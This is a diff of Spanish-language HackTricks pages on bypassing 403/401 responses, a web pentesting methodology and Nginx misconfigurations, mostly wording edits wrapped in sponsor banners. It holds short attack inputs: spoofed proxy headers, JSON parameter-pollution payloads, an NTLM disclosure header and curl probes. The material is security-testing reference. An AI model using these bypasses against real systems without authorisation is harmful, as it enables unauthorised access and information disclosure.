Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -35,7 +35,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PU
* **Cambia el encabezado Host** a algún valor arbitrario ([que funcionó aquí](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Intenta [**usar otros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acceder al recurso.
* **Fuzz HTTP Headers**: Intenta usar **Encabezados** de Proxy HTTP, autenticación básica y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* **Fuzz HTTP Headers**: Intenta usar encabezados de proxy HTTP, autenticación básica de HTTP y fuerza bruta NTLM (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -51,13 +51,13 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PU
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Si el **ruta está protegida** puedes intentar eludir la protección de la ruta usando estos otros encabezados:
Si la **ruta está protegida**, puedes intentar eludir la protección de la ruta usando estos otros encabezados:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**encabezados hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**encabezados HTTP especiales**](special-http-headers.md) buscando diferentes respuestas.
* **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **Métodos HTTP**.
* **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **métodos HTTP**.
* **Elimina el encabezado Host** y tal vez podrás eludir la protección.
## **Fuzzing de Rutas**
@ -84,9 +84,9 @@ Si _/path_ está bloqueado:
* **Otras elusiones de API:**
* /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthorized
* {“id”:111} --> 401 Unauthriozied
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Unauthorized
* {“id”:111} --> 401 Unauthriozied
* {“id”:{“id”:111\}} --> 200 OK
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Contaminación de Parámetros JSON)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Contaminación de Parámetros)
@ -140,7 +140,7 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,9 +17,9 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -44,9 +44,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
[web-api-pentesting.md](web-api-pentesting.md)
{% endcontent-ref %}
## Resumen de metodología
## Resumen de la metodología
> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo eso. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierta con servidor web indeterminado dentro del alcance.
> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo eso. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierta con un servidor web indeterminado dentro del alcance.
* [ ] Comienza por **identificar** las **tecnologías** utilizadas por el servidor web. Busca **trucos** a tener en cuenta durante el resto de la prueba si puedes identificar con éxito la tecnología.
* [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología?
@ -120,18 +120,18 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
* [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
_Tenga en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvide **buscar en Internet** nuevos trucos (¡y hágamelo saber!).
Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida mencionada anteriormente** o **cualquiera otra**, no olvide **buscar en Internet** nuevos trucos (¡y hágamelo saber!).
### Revisión de código fuente
Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **su cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
* ¿Hay un **Change-log o Readme o Version** archivo o algo con **información de versión accesible** a través de la web?
* ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
* ¿Hay un **Change-log o Readme o archivo de versión** o algo con **información de versión accesible** a través de la web?
* ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún **archivo** (¿accesible?) con credenciales (nombres de usuario o contraseñas)?
* ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza?
* ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza?
* ¿Puede **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
* ¿Hay alguna **información interesante en el github** (problemas resueltos y no resueltos)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
* ¿Hay alguna **información interesante en el github** (problemas **resueltos y no resueltos**)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -188,7 +188,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
* Accede a **páginas falsas** como /whatever\_fake.php (.aspx,.html,.etc)
* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores
* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookie** y los **valores de parámetro** para crear errores
* Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL**
* Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
@ -196,7 +196,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env
Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta:
* **Fuerza Bruta** de credenciales
* **Fuerza Bruta** credenciales
* **Sube archivos** a través de WebDav al **resto** de **las carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
### **Vulnerabilidades SSL/TLS**
@ -220,7 +220,7 @@ Información sobre vulnerabilidades de SSL/TLS:
### Spidering
Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** desde la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar tantos caminos como sea posible** desde la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar tantos caminos válidos como sea posible.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, con LinkFinder para archivos JS y Archive.org como fuente externa.
@ -231,7 +231,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
* [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevos caminos en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados).
@ -244,7 +244,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un rastreador/spider de seguridad web GUI avanzado con múltiples funciones diseñado para profesionales de ciberseguridad.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto.
@ -252,7 +252,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
### Fuerza bruta de directorios y archivos
Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y agregando al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta a **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y añadiendo al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
Herramientas:
* **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con las otras opciones.
@ -269,7 +269,7 @@ Herramientas:
**Diccionarios recomendados:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Diccionario incluido de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [**Dirsearch** diccionario incluido](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Listas de palabras de Assetnote](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -297,7 +297,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Comentarios:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidad oculta**.
* Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
* Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios en el **lado** **derecho** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
* **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave.
* **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/).
@ -310,30 +310,30 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
* Busca **enlaces** a otros archivos dentro de los **archivos CSS**.
* [Si encuentras un archivo _**.git**_ se puede extraer información](git.md).
* Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información.
* Si encuentras un _**.env**_ se pueden encontrar información como claves API, contraseñas de bases de datos y otra información.
* Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos.
* **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
* También deberías verificar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
* También deberías revisar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
* **Desofuscador y desempaquetador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Beautificador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* En varias ocasiones necesitarás **entender expresiones regulares** utilizadas, esto será útil: [https://regex101.com/](https://regex101.com).
* También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad vulnerable potencial.
* También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
**403 Prohibido/Autenticación Básica/401 No Autorizado (bypass)**
**403 Forbidden/Autenticación Básica/401 Unauthorized (bypass)**
{% content-ref url="403-and-401-bypasses.md" %}
[403-and-401-bypasses.md](403-and-401-bypasses.md)
{% endcontent-ref %}
**502 Error de Proxy**
**502 Proxy Error**
Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1`** (con el encabezado de host y otros encabezados comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
**Autenticación NTLM - Divulgación de información**
Si el servidor en ejecución solicita autenticación es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
**Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\
Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_".
@ -357,11 +357,11 @@ Encuentra más información sobre vulnerabilidades web en:
### Monitorear páginas para cambios
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas en busca de modificaciones que puedan insertar vulnerabilidades.
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas por modificaciones que podrían insertar vulnerabilidades.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Ubicación raíz faltante <a href="#missing-root-location" id="missing-root-location"></a>
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
Al configurar el servidor Nginx, la **directiva root** juega un papel crítico al definir el directorio base desde el cual se sirven los archivos. Considera el siguiente ejemplo:
```bash
@ -38,11 +38,11 @@ proxy_pass http://127.0.0.1:8080/;
```
En esta configuración, `/etc/nginx` se designa como el directorio raíz. Esta configuración permite el acceso a archivos dentro del directorio raíz especificado, como `/hello.txt`. Sin embargo, es crucial notar que solo se define una ubicación específica (`/hello.txt`). No hay configuración para la ubicación raíz (`location / {...}`). Esta omisión significa que la directiva raíz se aplica globalmente, permitiendo que las solicitudes a la ruta raíz `/` accedan a archivos bajo `/etc/nginx`.
Una consideración crítica de seguridad surge de esta configuración. Una simple solicitud `GET`, como `GET /nginx.conf`, podría exponer información sensible al servir el archivo de configuración de Nginx ubicado en `/etc/nginx/nginx.conf`. Establecer la raíz en un directorio menos sensible, como `/etc`, podría mitigar este riesgo, aunque aún podría permitir el acceso no intencionado a otros archivos críticos, incluidos otros archivos de configuración, registros de acceso e incluso credenciales encriptadas utilizadas para la autenticación básica HTTP.
Una consideración crítica de seguridad surge de esta configuración. Una simple solicitud `GET`, como `GET /nginx.conf`, podría exponer información sensible al servir el archivo de configuración de Nginx ubicado en `/etc/nginx/nginx.conf`. Establecer la raíz en un directorio menos sensible, como `/etc`, podría mitigar este riesgo, sin embargo, aún podría permitir el acceso no intencionado a otros archivos críticos, incluidos otros archivos de configuración, registros de acceso e incluso credenciales encriptadas utilizadas para la autenticación básica HTTP.
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
En los archivos de configuración de Nginx, se justifica una inspección minuciosa de las directivas "location". Una vulnerabilidad conocida como Inclusión de Archivos Locales (LFI) puede ser introducida inadvertidamente a través de una configuración que se asemeje a la siguiente:
En los archivos de configuración de Nginx, se justifica una inspección minuciosa de las directivas "location". Una vulnerabilidad conocida como Local File Inclusion (LFI) puede ser introducida inadvertidamente a través de una configuración que se asemeje a la siguiente:
```
location /imgs {
alias /path/images/;
@ -119,7 +119,7 @@ Además, esta técnica está [**explicada en esta charla**](https://www.youtube.
* `https://example.com/%20X` - Cualquier código HTTP
* `https://example.com/%20H` - 400 Bad Request
Si es vulnerable, la primera devolverá como "X" es cualquier método HTTP y la segunda devolverá un error ya que H no es un método válido. Así que el servidor recibirá algo como: `GET / H HTTP/1.1` y esto desencadenará el error.
Si es vulnerable, la primera devolverá "X" como cualquier método HTTP y la segunda devolverá un error ya que H no es un método válido. Así que el servidor recibirá algo como: `GET / H HTTP/1.1` y esto desencadenará el error.
Otros ejemplos de detección serían:
@ -154,13 +154,13 @@ Para **detectar esta mala configuración**, se puede ejecutar el siguiente coman
```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para corregir este problema han tenido cierto éxito.
Scaneos para esta mala configuración en los sistemas revelaron múltiples instancias donde las variables de Nginx podían ser impresas por un usuario. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para corregir este problema han tenido cierto éxito.
## Lectura de respuesta de backend en bruto
## Lectura de la respuesta cruda del backend
Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante Nginx sirviendo páginas de error personalizadas en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP no válida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta en bruto del backend se envía directamente al cliente sin la intervención de Nginx.
Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante Nginx sirviendo páginas de error personalizadas en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP inválida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta cruda del backend se envía directamente al cliente sin la intervención de Nginx.
Considera un escenario de ejemplo que involucra una aplicación uWSGI:
Considere un escenario de ejemplo que involucra una aplicación uWSGI:
```python
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
@ -183,13 +183,13 @@ Cuando se realiza una solicitud `GET` válida, Nginx la procesa normalmente, dev
Por defecto, la **directiva `merge_slashes` de Nginx** está configurada en **`on`**, lo que comprime múltiples barras diagonales en una URL en una sola barra. Esta característica, aunque agiliza el procesamiento de URL, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, particularmente aquellas propensas a ataques de inclusión de archivos locales (LFI). Los expertos en seguridad **Danny Robinson y Rotem Bar** han destacado los riesgos potenciales asociados con este comportamiento predeterminado, especialmente cuando Nginx actúa como un proxy inverso.
Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar cualquier problema de seguridad subyacente.
Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar problemas de seguridad subyacentes.
Para más información, consulta a [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
### **Encabezados de Respuesta Maclicious**
